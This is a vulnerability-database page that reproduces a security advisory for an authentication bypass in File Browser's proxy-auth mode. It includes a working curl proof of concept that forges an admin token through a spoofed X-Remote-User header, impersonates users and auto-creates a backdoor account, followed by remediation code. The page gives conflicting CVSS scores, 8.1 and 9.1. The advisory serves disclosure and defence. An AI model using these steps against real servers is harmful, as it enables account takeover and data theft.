Loading...
Skip to main content

CVE-2026-54089 — Vulnerability in...

CRITICAL

File Browser: Authentication Bypass via Proxy Auth Header Forgery

Published July 10, 2026Updated July 21, 2026Source: osv

Summary

## Summary When FileBrowser is configured with proxy authentication (`auth.method=proxy`), any unauthenticated attacker who can reach the server directly can impersonate **any user - including admin** - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to **automatically create a new user account**, providing an account creation primitive with no authorization. **This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.** ## Severity **HIGH** - CVSS 3.1: **8.1** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) ## Affected Component - **File:** [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28 - **CWE:** [CWE-287](https://cwe.mitre.org/data/definitions/287.html) (Improper Authentication), [CWE-290](https://cwe.mitre.org/data/definitions/290.html) (Authentication Bypass by Spoofing) - **Affected versions:** All versions supporting `auth.method=proxy` ## Prerequisite: Proxy Auth Must Be Enabled This vulnerability is **NOT exploitable on default configuration** (`auth.method=json`). It requires the administrator to have configured proxy authentication mode. However, this is a **common production deployment pattern** - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication: - **nginx** + Authelia / Authentik - **Traefik** + OAuth2 Proxy - **Caddy** + forward_auth - **Apache** + mod_auth_ldap In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., `X-Remote-User`). FileBrowser trusts this header to identify the user. | Deployment Scenario | Exploitable? | |---|---| | Default install (`auth.method=json`) | **No** — JSON auth uses password verification | | `auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled) | **No** - attacker cannot reach the server directly | | `auth.method=proxy` + FileBrowser port exposed to network | **Yes - full admin takeover** | The third scenario is common because: - Docker containers publish ports to `0.0.0.0` by default (e.g., `-p 8085:80`) - Administrators expose the port for debugging, monitoring, or health checks - Cloud deployments may have misconfigured security groups or load balancers - Internal networks often lack strict micro-segmentation The core issue is that the **code itself has zero defensive checks** — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement. ## Root Cause The `ProxyAuth.Auth()` function unconditionally trusts the value of an HTTP request header (configured via `auth.header`, e.g. `X-Remote-User`) to determine the authenticated user's identity. There are **three distinct problems** in this code: ### Problem 1: No Origin Validation The function reads the header from **any** HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers. **File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28:** ```go func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) { username := r.Header.Get(a.Header) // <-- reads attacker-controlled header, no origin check user, err := usr.Get(srv.Root, username) if errors.Is(err, fberrors.ErrNotExist) { return a.createUser(usr, setting, srv, username) } return user, err // <-- returns the user object, no password verification } ``` There is no call to verify `r.RemoteAddr` against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value. ### Problem 2: No Password Verification Unlike JSON auth (`auth/json.go`) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The `loginHandler` in `http/auth.go` then mints a valid JWT for this user: **File: [`http/auth.go`](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go), lines 121-137:** ```go func loginHandler(tokenExpireTime time.Duration) handleFunc { return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) { auther, err := d.store.Auth.Get(d.settings.AuthMethod) // ... user, err := auther.Auth(r, d.store.Users, d.settings, d.server) // No additional verification — if auther.Auth() returns a user, a JWT is minted return printToken(w, r, d, user, tokenExpireTime) // <-- signs and returns JWT } } ``` ### Problem 3: Automatic User Creation If the username in the header doesn't exist in the database, `createUser()` is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory: **File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 30-63:** ```go func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) { pwd, err := users.RandomPwd(randomPasswordLength) // ... user := &users.User{ Username: username, // <-- attacker-controlled Password: hashedRandomPassword, LockPassword: true, } setting.Defaults.Apply(user) // <-- inherits default permissions (may include execute, create, etc.) // ... err = usr.Save(user) // <-- persisted to database return user, nil } ``` This auto-creation has no opt-in flag — it is always active when proxy auth is enabled. ### Complete Attack Flow ``` Attacker sends: POST /api/login + Header: X-Remote-User: admin | loginHandler() | |-> d.store.Auth.Get("proxy") | |-> auther.Auth(r, ...) | |-> ProxyAuth.Auth() | |-> r.Header.Get("X-Remote-User") -> "admin" (attacker-controlled) |-> usr.Get(root, "admin") -> admin user (found in DB) |-> return user, nil -> no password check |-> printToken(w, r, d, user, ...) | |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}}) |-> token.SignedString(key) -> valid admin JWT returned to attacker ``` ## Proof of Concept Here is Log testing using Low Privileges Account attacker, get forbidden Login as low priv user then get the auth token `"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"` ``` root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \ -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM" 403 Forbidden root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: admin") root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \ -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool { "signup": false, "hideLoginButton": true, "createUserDir": false, "minimumPasswordLength": 12, "userHomeBasePath": "/users", "defaults": { "scope": ".", "locale": "en", "viewMode": "mosaic", "singleClick": false, "redirectAfterCopyMove": true, "sorting": { "by": "", "asc": false }, "perm": { "admin": false, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true }, "commands": [], "hideDotfiles": false, "dateFormat": false, "aceEditorTheme": "" }, "authMethod": "proxy", "rules": [], "branding": { "name": "", "disableExternal": false, "disableUsedPercentage": false, "files": "", "theme": "", "color": "" }, "tus": { "chunkSize": 10485760, "retryCount": 5 }, "shell": [ "/bin/sh", "-c" ], "commands": { "after_copy": [], "after_delete": [], "after_rename": [], "after_save": [], "after_upload": [], "before_copy": [], "before_delete": [], "before_rename": [], "before_save": [], "before_upload": [] } } root@LAPTOP-VUMRCEKO:~# ``` <img width="1487" height="757" alt="image" src="https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74" /> ### Prerequisites - FileBrowser with proxy auth enabled: ```bash filebrowser config set --auth.method=proxy --auth.header=X-Remote-User ``` - Server is reachable directly (not exclusively behind the reverse proxy) ### Step 1: Confirm attacker (non-admin) is blocked ```bash # Using a legitimate non-admin JWT token: curl -s http://localhost:8085/api/settings \ -H "X-Auth: <ATTACKER_JWT_TOKEN>" ``` **Result:** `403 Forbidden` — non-admin users cannot access `/api/settings` ### Step 2: Forge admin identity — no credentials needed ```bash # Just one header, no password: FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: admin") echo "$FORGED_TOKEN" # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes) ``` **Result:** Valid JWT token returned for admin user (ID: 1, `perm.admin: true`) ### Step 3: Access admin-only endpoints with forged token ```bash # Read full server configuration (admin-only): curl -s http://localhost:8085/api/settings \ -H "X-Auth: $FORGED_TOKEN" ``` **Result:** `200 OK` - complete server settings returned: ```json { "authMethod": "proxy", "shell": ["/bin/sh", "-c"], "signup": false, "defaults": { "perm": { "admin": false, "execute": true, ... } }, ... } ``` ### Step 4: Enumerate all user accounts ```bash curl -s http://localhost:8085/api/users \ -H "X-Auth: $FORGED_TOKEN" ``` **Result:** All user accounts with full details (usernames, permissions, scopes, commands) ### Step 5: Impersonate any other user ```bash # Impersonate "testuser" — access their files without knowing their password: VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: testuser") curl -s http://localhost:8085/api/resources/ \ -H "X-Auth: $VICTIM_TOKEN" ``` **Result:** Full file listing of testuser's scope ### Step 6: Auto-create a new user account ```bash # This username doesn't exist — server creates it automatically: NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: backdoor_account") ``` **Result:** New user `backdoor_account` created in the database with default permissions, JWT returned ## Validated Results Tested against `filebrowser/filebrowser:latest` Docker image on 2026-03-09: | Test | Result | |------|--------| | Attacker token (non-admin) -> `GET /api/settings` | **`403 Forbidden`** (blocked) | | Forged header `X-Remote-User: admin` -> `POST /api/login` | **`200 OK`** — valid admin JWT (608 bytes) | | Forged admin token -> `GET /api/settings` | **`200 OK`** — full server config returned | | Forged admin token -> `GET /api/users` | **`200 OK`** — all user accounts listed | | Forged header `X-Remote-User: testuser` | **`200 OK`** — testuser JWT, files accessible | | Forged header `X-Remote-User: nonexistent_user` | **`200 OK`** — new user auto-created, JWT returned | ## Impact An unauthenticated attacker who can reach the FileBrowser instance directly can: 1. **Full admin takeover** — impersonate the admin user and gain complete control 2. **Read all server settings** — shell configuration, permissions, branding, rules 3. **Enumerate and impersonate all users** — access every user's files without credentials 4. **Create unlimited backdoor accounts** — auto-creation generates persistent accounts 5. **Modify server configuration** — enable command execution, change shell, alter rules 6. **Chain with other vulnerabilities** — gain admin access -> enable shell mode -> achieve RCE **Attack cost:** Zero credentials. One HTTP header. ## Suggested Remediation ### Fix 1: Add trusted proxy IP validation (recommended) ```go type ProxyAuth struct { Header string `json:"header"` TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs } func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) { // Verify request originates from a trusted reverse proxy clientIP := realip.FromRequest(r) if !a.isTrustedProxy(clientIP) { return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP) } username := r.Header.Get(a.Header) if username == "" { return nil, os.ErrPermission } user, err := usr.Get(srv.Root, username) if errors.Is(err, fberrors.ErrNotExist) { if a.AutoCreateUsers { // Make opt-in return a.createUser(usr, setting, srv, username) } return nil, os.ErrPermission } return user, err } ``` ### Fix 2: Make auto-user-creation opt-in Add a configuration flag `auth.proxy.createUsers` (default: `false`) so administrators must explicitly enable automatic account creation. ### Fix 3: Documentation warning Clearly document that when using proxy auth: - FileBrowser **MUST NOT** be directly accessible from untrusted networks - Bind to `127.0.0.1` or use firewall rules to ensure only the reverse proxy can reach it - The reverse proxy **MUST** strip/overwrite the configured header from client requests ## References - **Source file:** https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go - **Login handler:** https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137 - **CWE-287:** https://cwe.mitre.org/data/definitions/287.html - **CWE-290:** https://cwe.mitre.org/data/definitions/290.html - **OWASP Authentication Cheat Sheet:** https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

Advisory Timeline

  • First published July 10, 2026 (94 days ago).
  • Last revised July 21, 2026 — 11 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/filebrowser/filebrowser/v2
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-54089?
File Browser: Authentication Bypass via Proxy Auth Header Forgery This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-54089?
CVE-2026-54089 affects github.com/filebrowser/filebrowser/v2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-54089 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-xqp3-jq6g-x3qm
GO-2026-5966

Related CVEs

  • CVE-2026-32760
    CRITICAL

    File Browser Signup Grants Admin When Default Permissions Include Admin

  • CVE-2026-29188
    CRITICAL

    File Browser's TUS Delete Endpoint Bypasses Delete Permission Check

  • CVE-2026-54088
    CRITICAL

    File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)

  • CVE-2026-54096
    HIGH

    File Browser: Improper Access Control Occurs via Pre-Created Public Share for a Non-existent Path

  • CVE-2026-54097
    HIGH

    File Browser: Cross-user unauthorized share-link deletion via unbounded prefix match in DeleteWithPathPrefix

  • CVE-2025-64523
    HIGH

    File Browser is Vulnerable to Insecure Direct Object Reference (IDOR) in Share Deletion Function

  • CVE-2026-54090
    HIGH

    File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection

  • CVE-2026-55667
    HIGH

    File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies